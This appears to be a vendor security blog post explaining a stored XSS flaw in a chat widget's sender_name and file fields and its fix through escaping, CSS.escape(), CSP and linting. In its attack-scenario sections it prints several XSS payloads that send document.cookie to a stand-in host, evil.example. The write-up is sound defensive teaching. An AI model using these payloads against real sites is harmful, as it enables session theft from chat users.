How XSS via Unescaped sender_name Happens in JavaScript Chat Widgets and How to Fix It
Summary
A stored Cross-Site Scripting (XSS) vulnerability in frontend/scripts/chat-widget.js allowed attackers to inject arbitrary JavaScript by crafting a malicious sender_name field, which was interpolated directly into a DOM template string without HTML encoding. The renderFileContent() function compounded the risk by also inserting unsanitized file.name and file.url values into img, span, and anchor elements. The fix applies AppUtils.escapeHTML() to every user-controlled value before it touches the DOM, and uses CSS.escape() to sanitize a dynamic CSS selector.
Introduction
The frontend/scripts/chat-widget.js file is responsible for rendering incoming chat messages — including sender names, message bodies, and file attachments — directly into the browser DOM. A flaw in the renderMessage() function at line 300 created a textbook stored XSS vulnerability: while msg.message was correctly encoded via AppUtils.escapeHTML(), the msg.sender_name field at line 323 was dropped raw into an innerHTML template string. A second, equally dangerous path existed inside renderFileContent(), where file.name and file.url were interpolated without encoding into <img>, <span>, and <a> elements.
Because this is a Node.js library, the vulnerability affects every downstream application that embeds the widget — multiplying the potential blast radius far beyond a single deployment.
The Vulnerability Explained
Inconsistent Escaping in renderMessage()
The developer correctly escaped the message body but missed the sender name. Here is the vulnerable line from renderMessage() (line 300, before the fix):
// VULNERABLE — sender_name is raw user input, never encoded
<span class="message-sender">${msg.sender_name || 'User'}</span>
Compare it with the adjacent, correctly-escaped message body:
// Correct — message content IS escaped
${AppUtils.escapeHTML(msg.message)}
This inconsistency is a classic "partial fix" pattern: one field gets attention, the others are forgotten.
Unsanitized File Properties in renderFileContent()
The renderFileContent() function built HTML for both image previews and generic file attachments. Every property of the file object — file.name, file.url, and file.data — was interpolated verbatim:
// VULNERABLE image rendering
return `<img src="${file.url || file.data}" alt="${file.name}" class="message-image" />`;
// VULNERABLE file attachment rendering
<span class="file-name">${file.name}</span>
<a href="${file.url || file.data}" download="${file.name}" class="download-link">
An attacker controlling file.name could break out of the alt attribute with a payload like:
" onload="fetch('https://evil.example/steal?c='+document.cookie)
Or inject a javascript: URI into the href:
javascript:fetch('https://evil.example/steal?c='+document.cookie)
Unsafe CSS Selector Construction in updateMessageReadStatus()
A third injection point existed in updateMessageReadStatus():
// VULNERABLE — messageId is not sanitized before use in a CSS selector
const messageEl = document.querySelector(`[data-message-id="${data.messageId}"]`);
A crafted messageId containing CSS metacharacters (e.g., ") could break the selector syntax or, in some environments, cause unexpected DOM traversal behavior.
The Attack Scenario
An attacker with the ability to send a chat message (a standard capability in any chat application) sends:
{
"sender_name": "<img src=x onerror='fetch(\"https://evil.example/c?k=\"+document.cookie)'>",
"message": "Hey there!"
}
Every user who opens the chat window sees the message rendered. The browser executes the onerror handler, silently exfiltrating session cookies to the attacker's server. Because the message is stored server-side, the attack fires for every future visitor — making this a stored (persistent) XSS, not just a reflected one.
The Fix
1. Escaping sender_name in renderMessage()
The fix is a single, targeted wrapper around the unescaped interpolation:
// BEFORE (vulnerable)
<span class="message-sender">${msg.sender_name || 'User'}</span>
// AFTER (safe)
<span class="message-sender">${AppUtils.escapeHTML(msg.sender_name || 'User')}</span>
AppUtils.escapeHTML() was already present in the codebase and already used for msg.message — the fix simply extends its use to the forgotten field.
2. Escaping All File Properties in renderFileContent()
Four interpolation points inside renderFileContent() were updated:
// BEFORE (vulnerable)
return `<img src="${file.url || file.data}" alt="${file.name}" class="message-image" />`;
// AFTER (safe)
return `<img src="${AppUtils.escapeHTML(file.url || file.data)}" alt="${AppUtils.escapeHTML(file.name)}" class="message-image" />`;
// BEFORE (vulnerable)
<span class="file-name">${file.name}</span>
<a href="${file.url || file.data}" download="${file.name}" class="download-link">
// AFTER (safe)
<span class="file-name">${AppUtils.escapeHTML(file.name)}</span>
<a href="${AppUtils.escapeHTML(file.url || file.data)}" download="${AppUtils.escapeHTML(file.name)}" class="download-link">
Escaping the href value is particularly important: it prevents javascript: URI injection, which bypasses many naive XSS filters that only look for <script> tags.
3. Using CSS.escape() in updateMessageReadStatus()
// BEFORE (vulnerable)
const messageEl = document.querySelector(`[data-message-id="${data.messageId}"]`);
// AFTER (safe)
const messageEl = document.querySelector(`[data-message-id="${CSS.escape(String(data.messageId))}"]`);
CSS.escape() is the browser-native API for sanitizing values inserted into CSS selectors. The additional String() cast ensures the function receives a string even if data.messageId arrives as a number or other type.
Why Each Change Was Necessary
| Location | User-controlled value | Risk removed |
|---|---|---|
renderMessage() line 300 |
msg.sender_name |
HTML injection / script execution |
renderFileContent() image branch |
file.url, file.data, file.name |
Attribute injection, javascript: URI |
renderFileContent() file branch |
file.name, file.url, file.data |
HTML injection, javascript: URI, download attribute injection |
updateMessageReadStatus() |
data.messageId |
CSS selector injection |
Prevention & Best Practices
Treat Every User-Supplied Field as Tainted
The root cause here was selective escaping — the developer remembered msg.message but forgot msg.sender_name. A safer mental model is: every property on a user-supplied object is tainted until proven otherwise. When building HTML from a msg or file object, escape all fields, not just the ones you remember.
Prefer the DOM API Over innerHTML Templates
Where performance allows, use textContent and setAttribute instead of building HTML strings:
// Safer alternative — no HTML parsing, no injection risk
const senderEl = document.createElement('span');
senderEl.className = 'message-sender';
senderEl.textContent = msg.sender_name || 'User';
textContent never interprets its value as HTML, making injection structurally impossible for text nodes.
Use a Dedicated Sanitization Library for Rich Content
If the widget needs to support formatted messages (bold, links, etc.), use DOMPurify rather than a hand-rolled escape function:
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);
Add a Content Security Policy (CSP)
A strict CSP header provides defense-in-depth. Even if an XSS payload is injected, a policy like script-src 'self' prevents inline scripts and unauthorized external script loads from executing:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Lint for Unsafe innerHTML Patterns
Add ESLint with eslint-plugin-no-unsanitized to your CI pipeline. It flags any assignment to innerHTML that does not pass through an approved sanitizer, catching this class of bug before it reaches review.
Relevant Standards
- OWASP Top 10 2021 — A03: Injection — XSS is a primary example
- OWASP XSS Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: Improper Neutralization of Input During Web Page Generation
Key Takeaways
- Partial escaping is as dangerous as no escaping.
msg.messagewas escaped;msg.sender_namewas not. An attacker only needs one unguarded field. - Every property of a user-supplied object is tainted. When iterating over
msgorfileobjects inrenderMessage()andrenderFileContent(), all fields must be treated as hostile until encoded. hrefandsrcattributes need escaping too. Injecting ajavascript:URI into an<a href>or<img src>is a valid XSS vector that HTML-encoding the value directly prevents.- Dynamic CSS selectors require
CSS.escape(). Usingdata.messageIdraw indocument.querySelector()is a lesser-known injection surface; the browser-nativeCSS.escape()API exists precisely for this. - The fix required zero new dependencies.
AppUtils.escapeHTML()was already in the codebase — the vulnerability existed because it was not applied consistently.
How Orbis AppSec Detected This
- Source: User-controlled
sender_nameandfileobject properties arriving from the chat message payload - Sink: Template literal assigned to
innerHTMLinsiderenderMessage()(line 300) andrenderFileContent()(lines 315–327) infrontend/scripts/chat-widget.js - Missing control: No HTML encoding applied to
msg.sender_name,file.name,file.url, orfile.databefore DOM insertion; noCSS.escape()applied todata.messageIdbefore use indocument.querySelector() - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix: Wrapped all user-controlled interpolations with
AppUtils.escapeHTML()and appliedCSS.escape(String(...))to the dynamic CSS selector
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a reminder that security is only as strong as its least-protected field. The developer did the right thing for msg.message — but stopping there left msg.sender_name and the entire file object as open injection points. A single AppUtils.escapeHTML() call per interpolation, already available in the codebase, was all that stood between a safe widget and a stored XSS that could exfiltrate session cookies from every user who opened the chat. Consistent, systematic encoding of all user-supplied values — not just the ones you remember — is the only reliable defense.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP XSS Prevention Cheat Sheet
- MDN Web Docs: CSS.escape()
- MDN Web Docs: Element.textContent (safe alternative to innerHTML)
- DOMPurify — trusted HTML sanitization library
- Semgrep rules for innerHTML XSS
- fix: the chat widget renders user-supplied message c... in...